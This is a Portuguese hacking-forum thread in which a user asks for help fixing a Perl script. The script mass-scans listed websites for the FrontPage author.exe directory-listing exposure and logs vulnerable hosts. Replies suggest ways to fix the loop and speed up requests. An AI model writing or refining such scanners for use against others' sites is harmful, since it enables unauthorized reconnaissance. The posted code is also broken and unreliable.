[Ajuda] Arrumar erros: Scan PDW

[Ashiyakuza]

olá galera do darkers, tava aqui treinando meus conhecimentos em perl e fiz esse scan, mas só que tá dando um erro alguem poderia me ajudar?

#!/usr/bin/perl

use LWP::Simple;

print "[ Scanner de PDW ]\n";

if(!$ARGV[0]){
print "\nModo de uso: perl $0 arquivo.txt\n";
exit;
}
for($n = 0, $n<2,$n++){
$list=$ARGV[0];
$site=substr($list,$n,$n);

if($site !~/http/) { $site = 'http://' . $site; }

print "Scaneando $site ... aguarde\n";


$url = "/_vti_bin/_vti_aut/author.exe?method=list+documents%3a4%2e0%2e2%2e4715&service%5fname=&listHiddenDocs=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerived=false&listBorders=false&listChildWebs=true&initialUrl=&folderList=%5b%3bTW%7c04+Dec+2002+22%3a11%3a23+%2d0000%5d";

$site2 = $site . $url;


$resultado = get($site2) || die "

• Ocorreu um erro\n";

if(($resultado =~/Unknown/) and ($resultado =~/CONTENT_TYPE:/) and ($resultado =~/""./))
{
print "vul: $site\n";

open(a,">>resultados.txt");
print a "$site\n";
close(a);
}
else{
print "o site testado nao esta vul\n";
}

[OnlyOne]

nao e mais facil postar a msg de erro ?

[rodweb]

é só colocar mais uma chave no final... " } "

Flws...

[Ashiyakuza]

que pena o scan não deu certo 

[Anonymous]

Creio que o erro foi na hora de abrir a lista de sites ...

 :-*

[Mental_Way]

Ashiyakuza,

Umas dicas:

Para abrir a lista de sites use o comando chomp e salve o arquivos em uma array, e leia cuma linha de cada vez usando o foreach.

chomp ($ARGV[0]);
open (sites, $ARGV[0]) or die "Erro ao abrir lista de sites";
@sites = ;
close(sites) ;

foreach $site(@sites)
{
chomp($site);

print "Seus comandos para cada linha (cada site neste caso)";

}

Tente usar um socket com mais opções para deiixar seu programa mais rápido, ou seja tente utilizar um socket com timeout, assim seu programa naum precisará ficar eternamente um site que naum responde ou esteje fora do ar... Além disso vc pode ussar muitas varições para um socket um deles é como é feita a requisição..

Eemplo com o LWP...

use LWP::UserAgent;

$ua = LWP::UserAgent->new; #cria um novo socket na variavel $ua
$ua->timeout(1); #esécifica o timeout do scket em segundos
$req = HTTP::Request->new('GET',$site); #faz a conexão com o comando "GET"..
$res = $ua->request($req);

print  "$res->as_string";


Acho que é so, não me lembro de mais nada no momento, faz um tempo que naum mexo com perl, mais espero ter ajudado..

Sem +...

[Ashiyakuza]

obrigado....

mas já terminei o projeto :D